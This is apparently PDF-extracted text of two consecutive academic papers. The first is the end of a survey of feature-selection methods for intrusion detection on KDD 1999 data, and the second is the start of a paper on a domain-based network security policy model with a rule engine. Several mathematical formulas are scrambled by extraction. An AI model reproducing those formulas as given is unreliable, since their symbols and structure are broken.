indicates how much a feature is correlated to a specific class while feature-feature 
correlation is the correlation between two features. Equation 1, also known as 
Pearson’s correlation, gives the merit of a feature subset consisting of k number of 
features. 

ff

cf
s

rrkk

rk
Merit

)1( −+
=  (1) 

Here, cfr is average feature-class correlation, and ffr is average feature-feature 

correlation. For discrete class problem, CFS first dicretizes numeric features using 
technique Fayyad and Irani [14] and then use symmetrical uncertainty (a modified 
information gain measure) to estimate the degree of association between discrete 
features [15]. 
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In equation 2, H(X) and H(Y) represent entropy of feature X and Y. Symmetrical 
uncertainty is used because it is a symmetric measure and can therefore be used to 
measure feature-feature correlation where there is no notion of one attribute being 
“class” as such[13]. For continuous class data, the correlation between attribute is 
standard linear correlation. This is straightforward when the two attributes involved 
are both continuous. 
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In equation 3, X and Y are two continuous feature variables expressed in terms of 
deviations. 

Principal Component Analysis 
Principal Component Analysis (PCA) is a probability analyzing method which 
analyzes the relationships among multivariable, seeks the principal components 
denoted as a linear combination, and explains the entire changes with several 
components. The purpose is to make the effective explanations through dimension 
reduction using linear equations. Although p components are required to reproduce 
the total system variability, often much of this variability can be accounted for by a 
small number, k, of the principal components. If so, there is almost as much 
information in the k components as there is in the original p variables. The k principal 
components can then replace the initial p variables, and the original data set, 
consisting of n measurements on p variables, is reduced to one consisting of n 
measurements on k principal components. [19]. The most common definition of PCA, 
due to Hotelling (1933) [20], is that, for a set of observed vectors {vi}; i∈ {1,…,N}, 
the q principal axes {wj}; j ∈{1,…,q}are those orthonormal axes onto which the 
retained variance under projection is maximal. It can be shown that the vectors wj are 
given by the q dominent eigenvectors (i.e. those with largest associated eigenvalues) 

of the covariance matrix ∑
−−

= i N

TvivvivC
))((

such that jwijCw λ= , where v  is the 

simple mean. The vector )( vviTwiu −= , where W= (w1,w2,…,wq), is thus a q-

dimensional reduced representation of the observed vector vi. 

Experiments and Results 
In order to evaluate the effectiveness of CFS and PCA, experiments were performed 
using ten datasets from the KDD 1999 data [24]. Seven important features were 
selected by CFS, and then applied to the SVM algorithm. As a feature selection 
algorithm, PCA extracted eight important features and applied them to the C4.5 [21] 
algorithm. The performances between these two classifiers are depicted in Fig. 2 and 
Fig. 3. Fig. 2 shows the true positive rate generated by four classifiers across the folds 
for each dataset. For all features, it is obvious that the true positive rate of SVM is 
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much higher than that of C4.5, but for selected features they are nearly equal. In Fig. 
3, we can find out that the C4.5 classifier has a lower false positive rate than that of 
SVM with selected features. Building and testing time of the models are depicted in 
Table2. Through Table 2, we can see that C4.5 has a fast building speed and testing 
speed. Compared with the C4.5, the SVM is slower. In Table2 and here after, SVM 
with all features, SVM with features selected by CFS, C4.5 with all features and C4.5 
with features selected by PCA are abbreviated as S, SC, C4.5 and C4.5P respectively. 

 

Fig. 2. True positive rate vs. Dataset index 

 

Fig. 3. False positive rate vs. Dataset index 
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Table 2. Building and Testing time among the four classifiers on the ten datasets 

 Classifier 1 2 3 4 5 6 7 8 9 10 
S 119 120 122 125 122 122 123 125 121 124 

SC 52 51 53 52 52 52 52 53 52 51 
C4.5 2.5 3.3 2.5 2.4 3.1 2.3 2.7 2.7 2.4 2.5 

Building 
Time(Sec) 

C4.5P 0.9 1.0 1.0 0.9 1.1 0.9 1.2 0.9 0.9 1.0 
S 53 54 55 54 53 54 53 54 53 53 

SC 24 23 24 24 23 23 24 24 23 23 
C4.5 0.06 0.06 0.05 0.06 0.06 0.05 0.05 0.06 0.06 0.05 

Testing 
Time(Sec) 

C4.5P 0.03 0.03 0.04 0.04 0.04 0.03 0.03 0.03 0.04 0.04 

3.2   Wrapper Algorithm 

A generalized wrapper algorithm [35](shown in Table 3) is very similar to the 
generalized filter algorithm except that it utilizes a predefined mining algorithm A 
instead of an independent measure M for subset evaluation. Since mining algorithms 
are used to control the selection of feature subsets, the wrapper model tends to give 
superior performance as feature subsets found are better suited to the predetermined 
mining algorithm. Consequently, it is also more computationally expensive than the 
filter model. 

Table 3. A Generalized Wrapper Algorithm 

 

Support Vector Machine 
Support vector machines, or SVMs, are learning machines that plot the training 
vectors in high dimensional feature space, labeling each vector by its class. SVMs 
classify data by determining a set of support vectors, which are members of the set of 
training inputs that outline a hyper plane in the feature space [22]. SVMs provide a 
generic mechanism to fit the surface of the hyper plane to the data through the use of 
a kernel function. The user may provide a function (e.g., linear, polynomial, or 
sigmoid) to the SVMs during the training process, which selects support vectors along 
the surface of this function. The number of free parameters used in the SVMs depends 
on the margin that separates the data points but not on the number of input features, 
thus SVMs do not require a reduction in the number of features in order to avoid over 
fitting--an apparent advantage in applications such as intrusion detection. Another 
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primary advantage of SVMs is the low expected probability of generalization errors. 
There are other reasons that SVMs are used for intrusion detection. The first is speed: 
as real-time performance is of primary importance to intrusion detection systems, any 
classifier that can potentially run “fast” is worth considering. The second reason is 
scalability: SVMs are relatively insensitive to the number of data points and the 
classification complexity does not depend on the dimensionality of the feature space 
[23], so they can potentially learn a larger set of patterns and thus be able to scale 
better than neural networks. Once the data is classified into two classes, a suitable 
optimizing algorithm can be used if necessary for further feature identification, 
depending on the application [12]. 

Fusions of GA and SVM 
The overall structure and main components of proposed method are depicted in Fig. 
4[32]. GA builds new chromosomes and searches the optimal detection model based 
on the fitness values obtained from the result of SVM classification. A chromosome is 
decoded into a set of features and parameters for a kernel function to be used by SVM 
classifier. The SVM is used to estimate the performance of a detection model 
represented by a chromosome. In order to prevent over fitting problems, n-way cross-
validation is used and the detection rates acquired as the results of n tests are averaged 
so as to obtain a fitness value. 

 

Fig. 4. Overall Structure of Proposed Method 

Experiments and Results 
Experiments were performed on KDD 1999 dataset [24]. After selecting the important 
features by using SVM classifier through 5-fold cross validation, we then built the 
SVM classifier based on those important features. In order to compare the 
performances between the filter algorithm and the wrapper algorithm, we developed 
some experiments and summarized the results of them in Fig.5, Fig.6 and Table4. In 
Fig.5 and Fig.6, we showed the differences of true positive rates and false positive 
rates among the SVM classifiers which are based on all features or important features 
selected by CFS or SVM. For features selected by SVM, though the detection rate is 
lower than that of having features selected by CFS, the decrement is very small, in 
other words, around 0. 3% in average (see Fig. 5). But the significant performance is 
achieved in the reduction of false positive rate (see Fig. 6). Table4 shows that for 
features selected by SVM, the building and testing time of the model are smaller than 
that of features selected by CFS. In Table4, SVM with features selected by SVM is 
abbreviated as SS. 
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Fig. 5. True positive rate vs. dataset index 

 

Fig. 6. False positive rate vs. dataset index 

Table 4. Building and Testing time among the three classifiers on the ten datasets 

 Classifier 1 2 3 4 5 6 7 8 9 10 
S 119 120 122 125 122 122 123 125 121 124 

SC 52 51 53 52 52 52 52 53 52 51 Building 
Time(Sec) 

SS 30.1 31.5 31.2 31.3 31.2 30.1 38.1 30.3 30.0 31.8 
S 53 54 55 54 53 54 53 54 53 53 

SC 24 23 24 24 23 23 24 24 23 23 Testing 
Time(Sec) 

SS 16 16 16 17 17 17 17 17 17 17 
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3.3   Hybrid Algorithm 

A typical hybrid algorithm [35] (shown in Table 5) makes use of both an independent 
measure and a learning algorithm to evaluate feature subsets: It uses the independent 
measure to decide the best subsets for a given cardinality and uses the learning 
algorithm to select the final best subset among the best subsets across different 
cardinalities. The quality of results from a learning algorithm provides a natural 
stopping criterion in the hybrid model. 

Table 5. A Generalized Hybrid Algorithm 

 

Correlation-Based Hybrid Feature Selection 
Correlation-based Hybrid Feature Selection (CBHFS) is a crafted combination of CFS 
and Support Vector Machines (SVM). It adopt SVM which have been shown a good 
performance pattern recognition as well as intrusion detection problems [25], [26], 
[27]. CBHFS is depicted in Fig.7 [36]. As stated earlier, GA is used to generate 
subsets of features from given feature set. CBHFS takes full feature set as input and 
returns the optimal subset of feature after being evaluated by CFS and SVM. Each 
chromosome represents a feature vector. The length of the chromosome is 41 genes 
where each gene (bit) may have values 1 or 0 which indicates whether corresponding 
feature is included or not in the feature vector respectively. Like every stochastic 
algorithm, the initial population of chromosomes is generated randomly. Merit of 
each chromosome is calculated by CFS. The chromosome having highest Merit, 

bestγ represents the best feature subset, bestS in population. This subset is then 

evaluated by SVM classification algorithm and the value is stored in bestθ which 

represents metric of evaluation. Here we have chosen intrusion detection rates as a 
metric although a complex criterion such as a combination of detection rate and false 
positive rate or a rule based criterion like [28] could be used. 
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Then genetic operations, selection, crossover and mutation, are performed and a 
new population of chromosomes is generated. In each generation, best chromosome 
or feature subset is compared by previous best subset, bestS . If newer subset is better 

than previous one, it is assigned as the best subset. This subset is then evaluated by 
SVM. If new detection rate is higher than previous one, this value is to bestθ and 

algorithm goes forward. Otherwise the bestS  is returned as the optimal subset of 

features. The algorithm stops if better subset is not found in next generation or when 
maximum number of generation is reached. 

 

Fig. 7. Flow chart of Correlation-Based Hybrid Feature Selection Algorithm 

Random Forest 
The overall flow of Random Forest (RF) is depicted in Fig. 8[29]. The network audit 
data is consisting of training set and testing set. Training set is separated into learning 
set, validation set. Testing set has additional attacks which are not included in training 
set. In general, even if RF is robust against over-fitting problem [30], n-fold cross 
validation method was used to minimize generalization errors [31]. Learning set is 
used to train classifiers based on RF and figure out importance of each feature of 
network audit data. These classifiers can be considered as detection models in IDS. 
Validation set is used to compute classification rates by means of estimating OOB 
errors in RF, which are detection rates in IDS. Feature importance ranking is 
performed according to the result of feature importance values in previous step. The 
irrelevant features are eliminated and only important features are survived. In next 
phase, only the important features are used to build detection models and evaluated by 
testing set in terms of detection rates. If the detection rates satisfy design requirement, 
the overall procedure is over; otherwise, it iterates the procedures. 
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Fig. 8. Overall flow of proposed approach 

Experiments and Results 
Experiment results are depicted in Fig.9, Fig.10 and Table6. RF has two parameters; 
the number of variables in the random subset at each node (mtry) and the number of 
trees in the forest (ntree). As the result of experiments, two optimized parameter 
values were set; mtry = 6, ntree = 130. For features selected by confusion of CFS and 
SVM, the true positive rate is nearly equal to that of the features selected by CFS (see 
Fig.9), but it has a lower false positive rate (see Fig.10). RF has a higher true positive 
rate and lower false positive rate than SVM, but it requires much more building time 
(see Table6). 

 

Fig. 9. True positive rate vs. dataset index 
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Fig. 10. False positive rate vs. dataset index 

Table 6. Building and Testing time among the four classifiers on the ten datasets 

 Classifier 1 2 3 4 5 6 7 8 9 10 
S 119 120 122 125 122 122 123 125 121 124 

SC 52 51 53 52 52 52 52 53 52 51 
SCS 57 53 54 53 62 52 64 61 51 56 

Building 
Time(Sec) 

RF 170 182 157 148 147 154 153 151 144 154 
S 53 54 55 54 53 54 53 54 53 53 

SC 24 23 24 24 23 23 24 24 23 23 
SCS 25 24 25 25 25 25 26 25 26 26 

Testing 
Time(Sec) 

RF 2 2 2 2 2 2 2 3 3 2 

4   Concluding Remarks and Future Discussions 

This survey provides a comprehensive overview of various algorithms of feature 
selection. The feature selection of audit data has adopted three main methods; 
wrapper, filter, and hybrid method. The hybrid approaches have been proposed to 
improve both filter and wrapper method. However, in some recent applications of 
feature selection, the dimensionality can be tens or hundreds of thousands. Such high 
dimensionality causes two major problems for feature selection. One is the so called 
“curse of dimensionality” [33]. As most existing feature selection algorithms have 
quadratic or higher time complexity about N, it is difficult to scale up with high 
dimensionality. Since algorithms in the filter model use evaluation criteria that are 
less computationally expensive than those of the wrapper model, the filter model is 
often preferred to the wrapper model in dealing with large dimensionality. Recently, 
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algorithms of the hybrid model are considered to handle data sets with high 
dimensionality. These algorithms focus on combining filter and wrapper algorithms to 
achieve best possible performance with a particular learning algorithm with similar 
time complexity of filter algorithms. Therefore, more efficient search strategies and 
evaluation criteria are needed for feature selection with large dimensionality. An 
efficient correlation-based filter algorithm is introduced in [34] to effectively handle 
large-dimensional data with class information. Another difficulty faced by feature 
selection with data of large dimensionality is the relative shortage of instances. 
Feature selection is a dynamic field closely connected to data mining and other data 
processing techniques. This paper attempts to survey this fast developing field, show 
some effective algorithms in intrusion detection systems, and point out interesting 
trends and challenges. It is hoped that further and speedy development of feature 
selection can work with other related techniques to help building lightweight IDS 
with high detection rates and low false positive rates. 
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Abstract. The large-scale network environment incarnates interconnection of 
different security domains. There are different security policies in the domain or 
among the domains, and conflicts can arise in the set of policies which lack of   
trust and consultation. A network security policy model is proposed in this 
paper. By defining and describing security policy and domain, the policies’ 
integrity, validity, consistency, conflicts detecting, resolving and releasing are 
studied. The policy implementation mechanism is based on rule engine. This 
paper gives the achieve steps and efficiency analysis. The technology can be 
adapted to establishing and controlling the policy service in the extensive 
network environment.  

Keywords: Security policy, domain, rule engine, access control. 

1   Introduction 

Computer network is characterized by its opening, ease of use, and standardization, 
making computer information shared and easily spread, which keeps computer 
information in enormous danger of being revealed, stolen, distorted, and destroyed all 
the time. Information security has become an important component of security of 
people’s daily life and national security. In solving the problem of information 
security, security policy plays a very important role. The advantage of applying 
security policy is that it improves the expansibility and flexibility of network 
administrative system. Security policy has already solved problems extensively for 
large networks and distributed systems in recent years. It is of course promising since 
such management based on tactics has got the support of some standard organization 
such as IETF [1] and DMTF, and the support of a lot of academic organizations and 
network equipment manufacturers. 

Extensive network environment, multi-management, network coordination, parallel 
processing, etc., reflect the interconnection of different security domains, trust 
domains, or autonomy domains. As regards different management entities in different 
domains, there are different security policies, and they don’t trust and consult each 
other. So it is significant and meaningful to study unified security policies on the basis 
of domain. Then we can store, search, add, delete and release security policy 
conveniently, ensure the integrity, validity and consistency of security policy based on 
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domain and role. In addition, the exploitation of complicated enterprise-level project 
and the rules of security policies which change with the external conditions are 
urgently requested to manage the policy rules efficiently, namely weaken the 
relationship between rules management and its realization process possibly. 

2   Security Policy Model and Formalization 

2.1   Definition of Security Policy 

With the development of information safety, varieties of security policies have been 
appearing, such as BLP, Biba, MAC, DAC, RBAC [2] [3]  and Chinese Wall, mostly 
put forward in answer to how to control the visit to network resources or a particular 
security demand. Security policy is the core of the whole system already, whose 
correctness determines the system security directly. This essay reconsiders the general 
definition of security policy. Security policy is a guide to the network security. In 
terms of its content, it is a group of restrictions, which administer and control the 
access to network resources. In terms of its characteristics, security policy is an 
illustrative, permanent criterion made to regulate behavioral choice in a computer 
system according to management objectives and security demands. 

Definition 1. Security policy is a set of rules which control the management of man 
and resources, and the rule is composed of condition, action and role, such that the 
policy P can be defined by the triple<C, R, A>. In this triple, we have the following 
duple sets: 
• C = <cd, cs>, R = <d, r>, and A = <a,e>.  

C is the triggering condition (cd) and constraining condition (cs) of policy which 
relates to the network behavior events. R is composed of domain (d) and role (r) of 
the targets that the policy is applied to. The role includes man (subject) and resources 
(object, which consists of the system itself, file, security equipment, interface, etc.). A 
is the policy normal action (a) and remedy measure in time of exceptional emergency 
(e). An existent function as Equation (1). 

RXACf
A

→:  (1) 

The condition C specifies the parameters used by the rule. When the condition is 
satisfied, the action of the rule can be triggered, and then the subject or object of the 
role will implement the action. 

2.2   Definition and Description of Domain 

Domain is a combination of systematic entities and resources sharing the same 
security demands and following similar security policy. The elements of a domain can 
be entities or resource elements, and can be a sub domain. In addition, the elements of 
a domain can cross with elements of another domain. So domains have different 
classes, and they can inherit and mix together. According to different security  
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demands, different domains lead to different combinations of entities and resources. 
Then security policy determines domains and establishes the operation relationship 
between domain and element just according to security demands of all kinds of 
entities and resources. 

Between the elements of a safe domain and security policy, there is at least such a 
relation: an entity in a domain owns a set of some limited security policies which is 

defined as ∑∑
=

=
n

i

piP
0

. Here “n” is for levels(0 says the first) of the domain of the 

entity in the general domain, and “∑ pi ” shows the set of policies of an entity in a 

level of domain. 
Domain has the ability to group the targets that the security policy is applied to 

according to geographical position and type or function of target. Therefore, it is 
especially suitable for the extensive distributed system. In this way, first policies 
should be classified according to domain. The target quotation of policies is stored in 
the domain serve, and the relationship of the member in the domain is revealed. 
However, domain doesn’t encapsulate the domain targets, but keeps the quotation of 
domain targets’ interface. 

If the concept of domain is introduced into security policy, it can change the 
domain members dynamically, without changing security policy, thus improving the 
disposition efficiency of the management. What’s more, since the choice of the entity 
or the target of a sub domain is limited within one domain, the limits the search of a 
target within a defined set previously, which guarantees the operation of choosing a 
target is over within a definite time. 

2.3   Network Security Policy Model Based on Domain 

The standard architecture based on policy management has been put forward by the 
IETF, which can be used to control the access policy. Both of the most important 
elements of the structure are PEP and PDP, which mainly take account of the 
circumstance of operating the network management to the Router that is on the basis 
of RSVP protocol, and don’t involve the adjustment function of other QoS 
technology, such as Diff-Serv. It doesn’t reflect the problem of detecting and solving 
conflict of the policy. Meanwhile, as far as a lot of the network management functions 
are concerned, obtaining policies frequently contributes to a waste of time and 
network resources. 

By analyzing the traditional security models, including access control models and 
framework models, a network security policy model based on domain is given in 
Fig.1, which can achieve the defining of the management policy, sharing of the 
transmission, and automatization of implementation. 

1. Policy administrator use GUI tool to define policy rules and handle role-function-
domain manager. The role-function-domain manager manages the roles of the 
human and resources, the domains which the role belongs to and the configuration 
of their privileges or functions. The advantage to make the role expression into the 
domain is:  
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− The policy which applies to a domain could spread to its sub-domains what 
improves its expansibility. 

− When the object transfers from one domain to another, its policies will be replaced 
automatically by the policies of the new domain. So there is no need to modify the 
policies and manage the relationship between the policies and object by hand. 

 

Fig. 1. Network security policy model based on domain 

2. In general, policy repository accessing protocol is different from policy protocol. 
We could use LDAP to access policy repository when the repository is in LDAP 
format while policy protocol could be COPS, SNMP, etc. 

3. It is need to detect the integrity, validity and consistency of the policies to avoid 
error and conflict which potential exist when make a policy establishment and 
policy decisions. 

4. Abstract network layer, which provides interface between policy and domain 
service application, is able to request corresponding policy according to the state of 
each element in the domain. The result will be carried out in the domain after 
returning to the domain through the role function register and policy decision-
making. The process is the embodiment of applying the policy on idiographic 
equipment, transforming the policy into SNMP message, CPOS message or CLI 
command, and sending it to the objects in correspond domain, such as Router, 
Firewall, Scanner, etc. 

5. The implementary effort of the policy should be inspected and assessed. After the 
system applying the policy, the assess value of the system threat ought to be less 
than the setting upper limit. The assess result is able to guide the policy manager to 
adjust the policy properly. 
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2.4   Resources Management Based on Domain and Role 

As classified according to the domain, the target of the security policy is the role. The 
role is the property that can distribute to the target resources, and has the abilities of 
abstract function expression. This means that the resources must support the function 
of role from semantic aspect.After the startup of the policy service, it can choose the 
role for the service, that is, choose the resources from the security equipment to 
provide service based on the matching of domain, role and function. 

3   Integrity, Validity and Consistency of Security Policy 

The integrity, validity and consistency of the policies in a safe system function as 
follows [4]: there are appropriate restriction policies for any subject, object, function 
or operation in a system; the policies do not go against the security behaviors; conflict 
should be avoided between the policies, and there exist a system to remove conflicts. 

3.1   Integrity Structure of Security Policy 

Each subject, object, function or operation in every system domain is relevant to 
incidents in the system. Then the incidents trigger the policies that meet the 
conditions. So, as to any incident, the relevant policies can be found. 

Definition 2. If any incident (I) happening can trigger at least one policy p, i.e., 

),,,(),(:,:,:,:,:,:

)(

eardcscdEeAaRrDdCScsCDcd

ARCPPpCI
p⎯→⎯•⇔

Χ→=•∈∃•∈∀
 (2) 

Then it tells the policy set P is integral. 
In fact, under complicated systematic environment, policies are likely not to be 

integral. In this situation acquiescent policy subset P’ can be built in every domain to 
meet the demands of the policy integrity. In this way, if there is no incident to trigger 
policies in P, it can be carried out in P’. 

3.2   Validity Verification of Security Policy 

The validity of policies is the process of anticipating policies and evaluating the risk 
of the result that have been implemented. The risk function of evaluation and the 
establishment of the risk upper limit (ulimit) affect the policies validity directly. 

Definition 3. If the anticipative risk of any policy p in P is in the range of 
acceptability, namely, 

itupriskAssessRXACPPp lim)()( ≤•→=∧∈∀  (3) 

Then the policy set P is valid otherwise is invalid. 
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The valid security policy root in comprehending the system task rightly and 
establishing a risk assess model properly. Every policy role in each domain of the 
system has different security demands. The validity verification of the policy 
embodies the viewpoint of the dynamic system security: because the absolute security 
system and absolute valid policy are inexistence, therefore we are supposed to reduce 
the threat and control the risk in the process of the system course. 

3.3   Consistency Detection of Security Policy 

The consistency detection of security policies is a key problem of the policy 
management, which is to avoid conflicts when defining and executing the policies, 
and to eliminate the conflicts when necessary. There are so many policies, which are 
editing by diverse administrators, within and among the domains in the large-scale 
distributed system so that it is hard to avoid the conflicts among the policies. 
Consequently it is necessary for the distributed system to owning methods of 
detecting and solving conflicts. Consistency means the policies are executable and not 
inconsistent, which is a safeguard of the system safety. Schaad esearched the conflict 
detection based on role authorization [5], Al-Shaer researched the detection and 
solution of the conflict in distributed firewall policy [6], and Jajodia studied the 
relationship among the policy subjects as well as its conflict and solution [7]. 

Theorem 1. Let p1 and p2 be two policies of the policy set P, if their conditions are 
different, or targets have no intersection, i.e., 

)22112211(2,1 φ=∩∨≠∧∈∀ rprpcpcpPpp  (4) 

Then it tells the policy set P is consistent. 

Proof: 22112,1 cpcpPppCI ≠•∈∀•∈∀  indicates that every policy is triggered 

by different security incidents, that is, the triggered policy is exclusive.  
On the other hand, φ=∩•∈∀•∈∀ 22112,1 rprpPppCI  implies that every policy 

is applied to different targets.  
In conclusion, it doesn’t occur that two or more policies applied to one target at 

one time in policy set P. So the policy set P is consistent. 

Theorem 2. Let p1 and p2 be two policies of the policy set P, their conditions are the 
same, and targets overlap, i.e., 

φ≠∩∧=∧∈∀ 221122112,1 rprpcpcpPpp  (5) 

If and only if their actions have the inconsistent relation, namely, 2211 apCRap , 

then the policy set P is consistent. Here “CR” expresses the inconsistent relation in 
action set A. 

Proof:  
Necessity 
There exists a function: RXACfA →: , which indicates that p1 and p2 can be 

triggered at the same time, and applied to the same target. If CRapap ∉)22,11( , the 
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two policies’ actions will collide with each other, then p1 and p2 are inconsistent. It is 
illogical. So if p1 and p2 are consistent, 2211 apCRap is a necessary result. 

Adequacy 
Because of φ≠∩=∈∀ 2211,2211,2,1 rprpcpcpPpp , it is possible that p1 and p2 

are triggered at the same time,  and applied to one target, moreover, 2211 apCRap  

implies the actions of p1 and p2 are harmonious. Then p1 and p2 are consistent. 
According to the chart search method that depends on search inferential, we can 

compose the condition field and the role field into a directed acycline graph 
separately. If we can find two nodes in the directed acycline graph, we can draw a 
conclusion that there are dangerous conflicts in these two policies. The judge process 
was researched by E Lupu [8]. 

3.4   Conflicts Elimination of Security Policy 

Aim at the conflicts elimination of policies, jonathan discussed different types policy 
conflicts in distributed system management [9], Lupu designed four appointed policy 
implement priority solutions: contrarian policy first, local policy first, near policy first 
and specified policy first [8]. These solutions can only solve some problems partly. 

Modifying the policy conditions, actions and some other properties is the simplest 
method to avoid the policy conflicts, but this method should be used in designing 
policies period, namely we must detect it in advance to avoid it. However, it is very 
difficult in practice. When the conflicts appear, we must apply special method to 
solve it. According to the policy control rules of production system, we can apply 
elimination rule in the following: 

1. Matching First: choosing the policy which is meet first. 
2. Priority First: designing priority for different solutions. There are five solutions at 

least: contrarian policy first, local policy first, near policy first, newer policy first 
and specified policy first. 

3. Priority-Match First: choosing matching first rule if there is not only one policy 
based on Priority First rule. 

4. Multiple Constraints First: choosing the policy which has the constraints most. 
5. “Arbitration”: confirming the policy by additional conditions. 

3.5   Policy Storage and Operation 

IETF suggested using LDAP [10]as accessing protocol of policy repository, and it’s 
especially suitable to store the property value of policy as Entry in LDAP database by 
tree-model configuration because of the characters of grade, inheritance, etc. in 
domain. LDAP service is a special database which optimizing the read, browse and 
search, holding descriptive information which based on property and supporting 
complex filter and search ability. The information in LDAP is stored and handled in 
the units of Entry which have strict tree-configuration and can be accessed by DN 
(Distinguished Name) of Entry. 
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In addition, LDAP uses a special “objectClass” to control which property must be 
appear or be allowed to appear in an Entry. The value of the objectClass confirms the 
mode and rule that the Entry must abide by. All the objectClass inherit demand from 
their parent Class. 

There are five groupware in the objectClass: OID (object identification), NAME 
(only valid name), SUP (parent object), MUST (must property list) and MAY 
(allowable property list). Here OID is the identification of the LDAP. 

For instance, a policy object class (SecurityPolicyClass) is defined as follows: 

objectClass{ 
  OID 11.22.33.44 
  NAME SecurityPolicyClass 
  SUP parentPolicy 
  MUST(policyID & condition & domainID & role & action) 
  MAY(constraint & exception) 
  } 

LDAP protocol provides the operation function API of LDAP, including opening a 
connection to LDAP, authenticating LDAP server, executing another LDAP 
operation, obtaining the result of the operation, closing connection, etc. In that case, it 
easy to carry out finding, adding, deleting and updating operation in condition of 
giving some key values. 

4   Policy Release Based on Domain 

On the basis of security policy model, policies could be automatically released to 
every execute component in domain by inspecting the state of every element in the 
domain. This policy management mode based on domain makes the policy release 
easier. The architecture is presented in Fig.2. 

 

Fig. 2. Architecture for policy release based on domain 

In Fig.2, the policy managers make new policies through policy service (including 
policy management tools, policy repository and PDF) and store them into the 
repository as Policy Objects (POs). Policy service accesses the policy repository and 
make new corresponding Policy Domain Control Object (PDCO) for the selected  
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policy. The PDCO then will be loaded into the policy buffer of correlative domain 
where it will be chose and executed by every Execute Component (EC) in the domain. 
The policy buffer shares in the policy repository’s burden and avoids wasting time by 
frequent remote access of policies and network resources. 

Besides releasing POs, PDCO connects policies and domain objects of its apply 
together. When changes occur in the domain, the domain service will inform PDCO 
to automatically load the PO into newly created execute components, while it will be 
deleted or disabled from correlative domain policy buffer if inapplicable. 

The grade, inheritance and mixed connection of domain make the policy defined 
by domain be able to be further applied on all direct and indirect members of domain. 
But considering the finesse and validity of policy management, there is a large 
possibility to disable the further release of policy on a certain grade of domain. So a 
policy can be defined that it could only be used on the object or direct members of 
subject domain. To achieve this, the quote relation and released characters should be 
stored.  

5   Policy Implementation Mechanism Based on Rule Engine 

5.1   Policy Rule and Rule Engine 

As indicated in section 2 above, a policy rule is composed of a group of conditions 
and operations implemented in these conditions, which is expressed as business logic 
in the application procedures. Policy rules usually by security analysts and system 
managers to develop and change, but some complex policy rules may be customized 
by technicians with object-oriented technology language or script [11]. 

Rule engine is developed from the rule-based expert system reasoning engine, and 
it is a module embedded in the application . It will achieve the policy decision-making 
from the application code separated, compile the policy rules using scheduled 
semantic module to accept data and explain the rules, then make decision in 
accordance with the rules. The policy rules are the real security service, and their 
management has nothing to do with their realization.  

5.2   Dealing with Policy Based on Rule Engine 

Policy rules can be stored in the relational database or LDAP database in the form of 
data tables or files. They are security decision-making logic of enterprise managers, 
which are independent of technical decision-making logic of application developers. 
Only in designated rules document, the rules could be loaded in application. 

Rule engine includes working memory, pattern matcher, agenda, execution engine 
and rules conflicts processors, as is shown in Fig.3. 

Rule engine inferring steps are as follows: 

1. Sending the facts objects into working memory. 
2. Pattern matcher comparing the facts data with rules in the policy rules repository. 
3. Putting the enabled (eligible) rules into agenda orderly. 
4. Executing the rules in agenda, detecting and eliminating the potential rules 

conflicts. Repeating steps 2- 4 above, until all the rules implementing end. 
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Fig. 3. Rule engine structure 

In accordance with the priorities, the rules instances will be executed orderly. The 
process may change working memory data, thus enable certain rules ineffective in 
agenda as conditions change, thereby be withdrew from the agenda. On the other 
hand, it may activate the rules which do not satisfy the conditions originally and 
generate new instances for agenda. Thus a dynamic execution chain of rules come 
forth, and such rules chain reaction is driven by the data in the working memory 
entirely. 

The conditions matching efficiency of the rules ensure the engine performance. 
The engine needs to test the data target in the working memory and rules repository 
rapidly, find the eligible rules from the rule set, and generate the rules instances. 
Charles L. Forge’s Rete algorithm [12] is a good solution to this problem. 

5.3   Achievement of Applying Rule Engine 

An open policy rule engine can be “embedded” in applications to any location. Rule 
engines of different location can also combine with different sets of rules for handling 
different data objects. For the sake of concision and clarity, the JAVA language is 
used to describe how the rule engine realizes the access control policy, whose core is 
JBoss Rules[13]. 

 

Fig. 4. Policy achieve flow using rule engine 

Security policy rules can be achieved in several levels, which are, in time 
sequencing, divided into four steps, as is presented in Fig.4. 
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The author will take the access of the security equipment to control policy for 
example.  

1. Establishing policy entities class: EquipmentAccessControl.java. Simple security 
equipment access control entities class consists of three members of variables: role, 
target and action. In Fig.5, the role is the role of access subject, the target is the 
access object, and the action means whether the subject is permitted to visit the 
object or not. 

2. Editing policy rule file: EquipmentAccessControl.drl. Fig.6 describes that subject 
can visit the IDS equipment only when its role is “admin”. In order to eliminate 
potential policy conflicts, we use the rule attribute “Salience”. In this case, the 
higher salience rule will always be preferred. 

3. Building policy business logic layer file: EquipmentAccessControlBusiness.java, 
as is shown in Fig.7. The first step is to establish rule engine target and get a new 
“Workingmemory”. The next step is to load facts into Workingmemory. In the end, 
the rule engine executes the eligible rules. The results of the implementation will 
be acquired by the upper layer. 

4. Upper redeployment. The senior network behaviors and events act as facts to 
trigger rule engine and get the results of implementation policy. figure 8 shows the 
trigger mode in a TestCase. 

 

Fig. 5. Access control entity class file 

 

Fig. 6. Access control policy rule file 
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Fig. 7. Access control policy business layer file 

 

Fig. 8. Facts trigger the rule engine 

5.4   Results 

In the same conditions, we have tested two ways of system operation efficiency as 
shown by Fig.9. They also reflect different ways of matching the efficiency rules. 
Testing targets are system average response time of access control policy and events 
response policy. The results show that application rule engine approach reflects slow 
response to attacks in the system during initialization, but at the completion of 
initialization process, application rule engine is more efficient than no application it.  

6   Model Application 

According to the above security policy model, establishing a security network 
information system, need to determine the security domain entity classification for all 
entities under the system security requirements firstly, and then create security 
services management policy and a unified security policy database.Fig.10 gives the 
application of security policies in NSMP (Network Security Monitoring Platform) 
under the circumstances of single-class system. The dotted line is the process of 
security policy data flow. Through various network policy equipment and security 
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software centralized management and control, the original separation of network 
security equipment into an organic whole collaboration. Real-time dynamic monitor, 
comprehensive security audit, dynamic policy management and the timely response to 
the threat provide reliable basis for the overall security policy formulation and 
implementation. It is through security policy to achieve unified management of the 
system itself and network security equipment, including allowing or refusing access 
to the system or security equipment under what conditions, demanding the system or 
safety equipment to make what responses in what incident, such as interdiction IP, 
mail or message, voice warning, IDS adjustment, Scanner start-up, etc. 

 

Fig. 9. System operation efficiency 

 

Fig. 10. The application of security policies in NSMP 

7   Conclusions 

Security policy is still a new concept. Many researchers and companies have started 
to focus on policy frame and its implement. IETF has already put in some drafts. 
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Current generic policies are mainly used in network management. The PBNM 
technique came out and researched certain achievement. Due to the lack of 
management criterions based on policy and support of rock-bottom communication 
basic structure, the complexity of implement, it is still far from meeting the need of 
policy management system. Therefore, as an important technique of solving security 
problem of current system, making a deep research into security policy will have 
great effort on the security management of already-existing and further system. 

The network security policy model based on domain and role, as mentioned in this 
